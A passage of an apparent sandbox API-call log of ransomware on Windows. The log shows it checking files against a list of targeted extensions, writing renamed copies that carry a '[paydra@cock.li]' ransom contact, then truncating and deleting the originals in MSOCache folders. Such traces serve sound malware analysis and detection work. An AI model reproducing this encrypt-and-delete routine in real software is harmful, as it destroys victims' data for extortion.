lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.212] lstrlenW (lpString=".doc") returned 4 [0034.212] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString=".docx") returned 5 [0034.212] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.212] lstrlenW (lpString=".pdf") returned 4 [0034.212] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString=".xls") returned 4 [0034.212] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString=".xlsx") returned 5 [0034.212] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.212] lstrlenW (lpString=".ppt") returned 4 [0034.212] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.212] lstrlenW (lpString=".zip") returned 4 [0034.212] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.212] lstrlenW (lpString=".rar") returned 4 [0034.212] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString=".bz2") returned 4 [0034.212] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString=".7z") returned 3 [0034.212] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.212] lstrlenW (lpString=".dbf") returned 4 [0034.212] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.212] lstrlenW (lpString=".1cd") returned 4 [0034.212] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.212] lstrlenW (lpString=".jpg") returned 4 [0034.212] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.213] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.213] lstrlenW (lpString="WordMUI.xml") returned 11 [0034.213] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.383] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1800) returned 1 [0034.383] CloseHandle (hObject=0x198) returned 1 [0034.383] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0034.383] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.383] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.383] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.383] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.383] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.384] GetLastError () returned 0x0 [0034.384] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x708, lpOverlapped=0x0) returned 1 [0034.458] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x710, lpOverlapped=0x0) returned 1 [0034.459] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.459] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0034.459] SetEndOfFile (hFile=0x19c) returned 1 [0034.459] CloseHandle (hObject=0x19c) returned 1 [0034.460] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.460] SetEndOfFile (hFile=0x198) returned 1 [0034.461] CloseHandle (hObject=0x198) returned 1 [0034.461] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.461] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0034.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.462] lstrlenW (lpString=".doc") returned 4 [0034.462] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.462] lstrlenW (lpString=".docx") returned 5 [0034.462] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.462] lstrlenW (lpString=".pdf") returned 4 [0034.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.462] lstrlenW (lpString=".xls") returned 4 [0034.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.462] lstrlenW (lpString=".xlsx") returned 5 [0034.462] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.462] lstrlenW (lpString=".ppt") returned 4 [0034.462] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.462] lstrlenW (lpString=".zip") returned 4 [0034.462] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.462] lstrlenW (lpString=".rar") returned 4 [0034.462] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.462] lstrlenW (lpString=".bz2") returned 4 [0034.462] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.462] lstrlenW (lpString=".7z") returned 3 [0034.462] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.462] lstrlenW (lpString=".dbf") returned 4 [0034.462] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.462] lstrlenW (lpString=".1cd") returned 4 [0034.462] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.463] lstrlenW (lpString=".jpg") returned 4 [0034.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.463] lstrlenW (lpString=".doc") returned 4 [0034.463] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString=".docx") returned 5 [0034.463] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.463] lstrlenW (lpString=".pdf") returned 4 [0034.463] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString=".xls") returned 4 [0034.463] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString=".xlsx") returned 5 [0034.463] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.463] lstrlenW (lpString=".ppt") returned 4 [0034.463] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.463] lstrlenW (lpString=".zip") returned 4 [0034.463] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.463] lstrlenW (lpString=".rar") returned 4 [0034.463] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString=".bz2") returned 4 [0034.463] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString=".7z") returned 3 [0034.463] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.463] lstrlenW (lpString=".dbf") returned 4 [0034.463] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.463] lstrlenW (lpString=".1cd") returned 4 [0034.463] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.464] lstrlenW (lpString=".jpg") returned 4 [0034.464] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.464] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.464] lstrlenW (lpString="Proof.xml") returned 9 [0034.464] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.520] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1457) returned 1 [0034.520] CloseHandle (hObject=0x19c) returned 1 [0034.520] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0034.520] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.520] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.520] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.520] GetLastError () returned 0x0 [0034.520] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x5b1, lpOverlapped=0x0) returned 1 [0034.577] WriteFile (in: hFile=0x184, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0034.578] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.578] WriteFile (in: hFile=0x184, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.578] SetEndOfFile (hFile=0x184) returned 1 [0034.578] CloseHandle (hObject=0x184) returned 1 [0034.579] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.579] SetEndOfFile (hFile=0x19c) returned 1 [0034.580] CloseHandle (hObject=0x19c) returned 1 [0034.580] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.580] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0034.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.580] lstrlenW (lpString=".doc") returned 4 [0034.581] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString=".docx") returned 5 [0034.581] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.581] lstrlenW (lpString=".pdf") returned 4 [0034.581] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString=".xls") returned 4 [0034.581] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString=".xlsx") returned 5 [0034.581] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.581] lstrlenW (lpString=".ppt") returned 4 [0034.581] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.581] lstrlenW (lpString=".zip") returned 4 [0034.581] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.581] lstrlenW (lpString=".rar") returned 4 [0034.581] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString=".bz2") returned 4 [0034.581] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString=".7z") returned 3 [0034.581] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.581] lstrlenW (lpString=".dbf") returned 4 [0034.581] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.581] lstrlenW (lpString=".1cd") returned 4 [0034.581] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.581] lstrlenW (lpString=".jpg") returned 4 [0034.581] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.581] lstrlenW (lpString=".doc") returned 4 [0034.581] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.582] lstrlenW (lpString=".docx") returned 5 [0034.582] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.582] lstrlenW (lpString=".pdf") returned 4 [0034.582] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.582] lstrlenW (lpString=".xls") returned 4 [0034.582] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.582] lstrlenW (lpString=".xlsx") returned 5 [0034.582] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.582] lstrlenW (lpString=".ppt") returned 4 [0034.582] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.582] lstrlenW (lpString=".zip") returned 4 [0034.582] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.582] lstrlenW (lpString=".rar") returned 4 [0034.582] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.582] lstrlenW (lpString=".bz2") returned 4 [0034.582] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.582] lstrlenW (lpString=".7z") returned 3 [0034.582] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.582] lstrlenW (lpString=".dbf") returned 4 [0034.582] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.582] lstrlenW (lpString=".1cd") returned 4 [0034.582] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.582] lstrlenW (lpString=".jpg") returned 4 [0034.582] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.582] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.582] lstrlenW (lpString="Office32MUI.xml") returned 15 [0034.583] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.583] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1383) returned 1 [0034.583] CloseHandle (hObject=0x19c) returned 1 [0034.584] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0034.584] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.584] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.584] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.584] GetLastError () returned 0x0 [0034.584] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x567, lpOverlapped=0x0) returned 1 [0034.663] WriteFile (in: hFile=0x184, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x570, lpOverlapped=0x0) returned 1 [0034.664] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.664] WriteFile (in: hFile=0x184, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0034.664] SetEndOfFile (hFile=0x184) returned 1 [0034.664] CloseHandle (hObject=0x184) returned 1 [0034.665] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.665] SetEndOfFile (hFile=0x19c) returned 1 [0034.665] CloseHandle (hObject=0x19c) returned 1 [0034.665] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.666] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0034.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.666] lstrlenW (lpString=".doc") returned 4 [0034.666] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.666] lstrlenW (lpString=".docx") returned 5 [0034.666] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.666] lstrlenW (lpString=".pdf") returned 4 [0034.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.666] lstrlenW (lpString=".xls") returned 4 [0034.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.666] lstrlenW (lpString=".xlsx") returned 5 [0034.666] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.666] lstrlenW (lpString=".ppt") returned 4 [0034.666] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.666] lstrlenW (lpString=".zip") returned 4 [0034.666] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.666] lstrlenW (lpString=".rar") returned 4 [0034.666] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.666] lstrlenW (lpString=".bz2") returned 4 [0034.666] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.666] lstrlenW (lpString=".7z") returned 3 [0034.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.667] lstrlenW (lpString=".dbf") returned 4 [0034.667] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.667] lstrlenW 